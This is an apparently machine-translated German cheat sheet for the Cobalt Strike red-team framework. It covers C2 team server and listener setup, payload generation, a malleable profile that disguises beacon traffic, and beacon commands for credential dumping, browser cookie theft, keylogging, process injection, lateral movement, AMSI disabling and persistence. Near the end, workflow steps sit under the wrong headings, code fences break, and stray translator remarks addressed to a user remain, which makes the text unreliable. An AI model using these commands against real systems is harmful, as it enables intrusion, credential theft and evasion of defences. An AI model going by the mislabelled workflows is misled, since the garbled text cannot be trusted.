Cobalt Strike Cheat Sheet¶

Überblick¶

Cobalt Strike ist eine kommerzielle Penetrationstesting- und Red-Team-Operationsplattform, die entwickelt wurde, um fortschrittliche Bedrohungsakteure zu emulieren. Es bietet ein Post-Exploitation-Framework, das Operatoren ermöglicht, Beacons (Agenten) auf kompromittierten Systemen zu implementieren, Kommando- und Kontrollkanäle (C2) zu etablieren und verschiedene offensive Sicherheitsoperationen durchzuführen.

⚠️ Warnung: Cobalt Strike ist ein kommerelles Sicherheitstestwerkzeug, das nur in Umgebungen verwendet werden sollte, in denen Sie eine ausdrückliche Erlaubnis haben.

Kernkomponenten¶

Team Server¶

Zentraler Kommando- und Kontrollserver
Läuft auf Linux
Verwaltet Beacons und Listener
Bietet Zusammenarbeit für Teamoperationen

Client¶

Java-basierte GUI-Anwendung
Verbindet sich mit Team Server
Schnittstelle für Operatoren zur Interaktion mit Beacons
Visualisiert Zielnetzwerke

Beacon¶

Primäre Nutzlast für Post-Exploitation
Stellt Kommunikation mit Team Server her
Bietet verschiedene Möglichkeiten für offensive Operationen
Kann in verschiedenen Kommunikationsmodi arbeiten

Einrichtung und Konfiguration¶

Team Server Einrichtung¶

# Start the Team Server
./teamserver <ip_address> <password> [malleable_c2_profile]

# Example
./teamserver 192.168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile

Client Einrichtung¶

1. Launch the Cobalt Strike client
2. Connect > New Connection
3. Enter Team Server details:
   - Host: <team_server_ip>
   - Port: 50050 (default)
   - User: <username>
   - Password: <password>
4. Verify SSL certificate fingerprint

Listener¶

Listener erstellen¶

1. Cobalt Strike > Listeners
2. Click "Add"
3. Configure listener settings:
   - Name: <listener_name>
   - Payload: <beacon_type>
   - Host: <callback_domain_or_ip>
   - Port: <port_number>
   - Profile: <malleable_c2_profile>
4. Click "Save"

Listener-Typen¶

Typ	Beschreibung
HTTP	Verwendet HTTP für C2-Kommunikation
HTTPS	Verwendet HTTPS für C2-Kommunikation
DNS	Verwendet DNS-Abfragen für stealthes Command and Control
SMB	Verwendet benannte Pipes für Peer-to-Peer C2
TCP	Verwendet direkte TCP-Verbindungen
Foreign	Integriert mit anderen C2-Frameworks
## Nutzlast-Generierung

Beacon-Nutzlasttypen¶

Attacks > Packages > <payload_type>

Payload-Typ	Beschreibung
Windows Executable	Standard .exe-Datei
Windows Service EXE	Service-Executable
DLL	Dynamische Verknüpfungsbibliothek
PowerShell	PowerShell One-Liner
Python	Python-Skript
Office Macro	Makro für Office-Dokumente
Shellcode	Roher Shellcode
### Artifact Kit
`Attacks > Packages > Windows Executable (S)`
- Generiert benutzerdefinierte Nutzlasten mit Umgehungstechniken
- Modifiziert Signaturen zur Vermeidung von Erkennung
- Anpassbare Vorlagen

Beacon-Befehle¶

Sitzungsverwaltung¶

Befehl	Beschreibung
`help`	Hilfe-Informationen anzeigen
`sleep [seconds] [jitter%]`	Schlafzeit und Jitter festlegen
`checkin`	Sofortige Check-in erzwingen
`exit`	Beenden Sie die Beacon-Sitzung
`clear`	Lösche die Beacon-Aufgabenwarteschlange
`jobs`	Laufende Jobs auflisten
`jobkill [JID]`	Einen laufenden Job beenden
`mode dns`	Wechseln Sie in den DNS-Modus
`mode dns-txt`	Wechseln Sie in den DNS-TXT-Modus
`mode dns6`	Wechseln Sie in den DNS6-Modus
`mode http`	Wechseln Sie in den HTTP-Modus
`mode smb`	Wechseln Sie in den SMB-Modus
### Informationssammlung

Befehl	Beschreibung
`hostname`	Hostname abrufen
`ipconfig`	Netzwerkkonfiguration anzeigen
`netstat`	Netzwerkverbindungen anzeigen
`ps`	Laufende Prozesse auflisten
`tasklist`	Alternative zu ps
`getuid`	Aktuelle Benutzer-ID abrufen
`whoami`	Detaillierte Benutzerinformationen abrufen
`pwd`	Aktuelles Arbeitsverzeichnis ausgeben
`drives`	Verfügbare Laufwerke auflisten
`dir [directory]`	Dateien im Verzeichnis auflisten
`ls [directory]`	Alternative zu dir
`net [command]`	Führen Sie den net-Befehl aus
`reg query [path]`	Abfrage-Registry
`sysinfo`	Systeminfo abrufen
### Dateioperationen

Befehl	Beschreibung
`cd [directory]`	Verzeichnis wechseln
`cp [source] [destination]`	Eine Datei kopieren
`mkdir [directory]`	Erstelle ein Verzeichnis
`mv [source] [destination]`	Eine Datei verschieben oder umbenennen
`rm [file]`	Eine Datei löschen
`rmdir [directory]`	Ein Verzeichnis löschen
`cat [file]`	Dateiinhalte anzeigen
`download [file]`	Eine Datei vom Ziel herunterladen
`upload [file]`	Eine Datei auf das Ziel hochladen
`timestomp [file] [template]`	Datei-Timestamps ändern
`ls-acl [file]`	Datei-Berechtigungen auflisten
### Prozessoperationen

Befehl	Beschreibung
`execute [program]`	Ausführen ohne Ausgabe zu erfassen
`shell [command]`	Ausführen und Ausgabe erfassen
`run [program]`	Ein Programm ausführen
`runas [user] [password] [program]`	Als anderer Benutzer ausführen
`pth [user] [domain] [hash]`	Pass-the-Hash zum Erstellen eines Tokens
`steal_token [pid]`	Token vom Prozess stehlen
`make_token [domain] [user] [password]`	Ein Token erstellen
`rev2self`	Zum ursprünglichen Token zurückkehren
`getprivs`	System-Berechtigungen aktivieren
`getsystem`	Versuch, SYSTEM-Privilegien zu erlangen
`execute-assembly [file.exe]`	.NET Assembly im Speicher ausführen
`powerpick [command]`	PowerShell ohne powershell.exe ausführen
`powershell [command]`	PowerShell-Befehl ausführen
`psinject [pid] [command]`	PowerShell in bestimmtem Prozess ausführen
`shinject [pid] [arch] [file.bin]`	Shellcode in Prozess injizieren
`dllinject [pid] [file.dll]`	DLL in Prozess injizieren
`dllload [file.dll]`	DLL in Beacon-Prozess laden
### Laterale Bewegung

Befehl	Beschreibung
`psexec [target] [listener]`	Verwende PsExec zum Bereitstellen von Beacon
`psexec_psh [target] [listener]`	PsExec mit PowerShell verwenden
`winrm [target] [listener]`	WinRM zur Bereitstellung von Beacon verwenden
`wmi [target] [listener]`	WMI verwenden, um Beacon zu deployen
`ssh [target:port] [user] [pass] [listener]`	SSH verwenden, um Beacon zu deployen
`ssh-key [target:port] [user] [key] [listener]`	SSH mit Schlüsselauthentifizierung verwenden
`dcsync [domain] [user]`	Verwende DCSync zum Extrahieren von Passwort-Hashes
`jump [method] [target] [listener]`	Zum Ziel springen mit angegebener Methode
`remote-exec [method] [target] [command]`	Befehl auf Remote-System ausführen
### Pivoting

Befehl	Beschreibung
`rportfwd [bind port] [forward host] [forward port]`	Reverse-Port-Weiterleitung einrichten
`rportfwd stop [bind port]`	Reverse Port Forwarding stoppen
`socks [port]`	SOCKS-Proxy-Server starten
`socks stop`	SOCKS-Proxy-Server stoppen
`spunnel [host] [port]`	Verschlüsselten Tunnel über SMB erstellen
`spunnel stop`	Verschlüsselten Tunnel stoppen
`covertvpn [interface] [IP/Mask]`	Covert VPN-Schnittstelle bereitstellen
`covertvpn stop`	Stopp Covert VPN
`pivot [host] [port]`	Liste Pivot-Listener
`pivotlistener [host] [port]`	Pivot-Listener erstellen
### Post-Exploitation

Befehl	Beschreibung
`mimikatz [command]`	Mimikatz-Befehl ausführen
`hashdump`	Passwort-Hashes ablegen
`logonpasswords`	Anmeldeinformationen aus dem Speicher extrahieren
`keylogger [pid]`	Keylogger starten
`screenshot [pid]`	Screenshot aufnehmen
`screenwatch [pid]`	Ziel-Bildschirm beobachten
`printscreen`	Bildschirmfoto mit Druck der Druck-Taste (PrintScreen) aufnehmen
`reg query [path]`	Abfrage-Registry
`powerview [command]`	PowerView-Befehl ausführen
`portscan [targets] [ports] [discovery method]`	Nach offenen Ports scannen
`browserpivot [pid] [port]`	Web-Sitzungen mit Authentifizierung kapern
`chromedump`	Chrome Cookies und Anmeldedaten exportieren
`persist [method] [listener]`	Persistenz einrichten
`elevate [exploit] [listener]`	Versuch der Rechteausweitung
## Malleable C2 Profile

Grundlegende Struktur¶

# Global options
set sleeptime "5000";
set jitter "10";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";

# HTTP staging
http-stager \\\\{
    set uri "/jquery-3.3.1.min.js";
    client \\\\{
        header "Accept" "text/javascript, application/javascript, */*";
    \\\\}
    server \\\\{
        header "Content-Type" "application/javascript";
    \\\\}
\\\\}

# HTTP client
http-get \\\\{
    set uri "/api/v1/data";
    client \\\\{
        header "Accept" "application/json";
        metadata \\\\{
            base64;
            prepend "session=";
            append ";";
            header "Cookie";
        \\\\}
    \\\\}
    server \\\\{
        header "Content-Type" "application/json";
        output \\\\{
            json \\\\{
                "status" "success";
                "data" "";
            \\\\}
            prepend "\\\\{\"data\":\"";
            append "\"\\\\}";
            base64;
        \\\\}
    \\\\}
\\\\}

Profile testen¶

# Verify profile syntax
./c2lint c2-profiles/normal/amazon.profile

# Start Team Server with profile
./teamserver 192.168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile

Aggressor-Skripte¶

Grundlegende Skriptstruktur¶

# Event handlers
on beacon_initial \\\\{
    println("New beacon: " . $1);
\\\\}

# Aliases (custom commands)
alias hello \\\\{
    blog($1, "Hello, World!");
\\\\}

# Menus
popup beacon_bottom \\\\{
    item "Custom Command" \\\\{
        blog($1, "Executing custom command...");
        bshell($1, "whoami");
    \\\\}
\\\\}

# Functions
sub get_system_info \\\\{
    bshell($1, "systeminfo");
\\\\}

Häufige Skriptfunktionen¶

Funktion	Beschreibung
`blog($1, "message")`	Auf Beacon-Konsole schreiben
`bshell($1, "command")`	Shell-Befehl ausführen
`bpowershell($1, "command")`	PowerShell-Befehl ausführen
`bpowerpick($1, "command")`	PowerShell ohne powershell.exe ausführen
`bexecute_assembly($1, "/path/to/file.exe")`	.NET Assembly ausführen
`bdllspawn($1, "/path/to/file.dll")`	Reflective DLL injizieren
`bpsexec($1, "target", "listener")`	PsExec laterale Bewegung ausführen
`bwmi($1, "target", "listener")`	WMI laterale Bewegung ausführen
`bwinrm($1, "target", "listener")`	WinRM laterale Bewegung ausführen
## OPSEC-Überlegungen

Prozess-Injektion¶

# Set parent process for new processes
ppid [pid]

# Set process to spawn for post-ex jobs
spawnto x64 %windir%\\sysnative\\rundll32.exe
spawnto x86 %windir%\\syswow64\\rundll32.exe

# Mask command-line arguments
argue [command] [fake arguments]

# Block non-Microsoft DLLs
blockdlls start
blockdlls stop

Umgehungstechniken¶

The translation maintains the original markdown formatting, keeps technical terms in English, and preserves the overall structure and punctuation.```

Obfuscate beacon in memory¶

sleep_mask [seconds] [jitter%]

Configure staging process¶

stage \\{ set obfuscate "true"; set stomppe "true"; set cleanup "true"; \\}

Disable AMSI¶

amsi_disable

Use smarter process injection¶

smartinject ## Häufige Arbeitsabläufe

1. Create a listener (Cobalt Strike > Listeners)
2. Generate a payload (Attacks > Packages)
3. Deliver payload to target
4. Wait for beacon check-in
```### Initialer Zugang


1. Check current privileges: getuid
2. Attempt to get SYSTEM: getsystem
3. If unsuccessful, try specific exploits: elevate [exploit] [listener]
4. Verify new privileges: getuid

### Rechteausweitung

1. Dump hashes: hashdump
2. Dump credentials from memory: logonpasswords
3. Use Mimikatz for advanced options: mimikatz [command]
4. Extract domain hashes (if DC): dcsync [domain] [user]
```### Anmeldeinformationssammlung

1. Identify targets: net view 2. Choose lateral movement technique: - psexec [target] [listener] - winrm [target] [listener] - wmi [target] [listener] 3. Verify new beacon check-in ### Seitliche Bewegung 1. Choose persistence method: - persist [method] [listener] - schtasks [options] - service [options] - registry [options] 2. Verify persistence works 3. Document persistence mechanisms for cleanup ```### Persistenz https://www.cobaltstrike.com/help-beacon#

Ressourcen¶

Would you like me to confirm or clarify any part of the translation?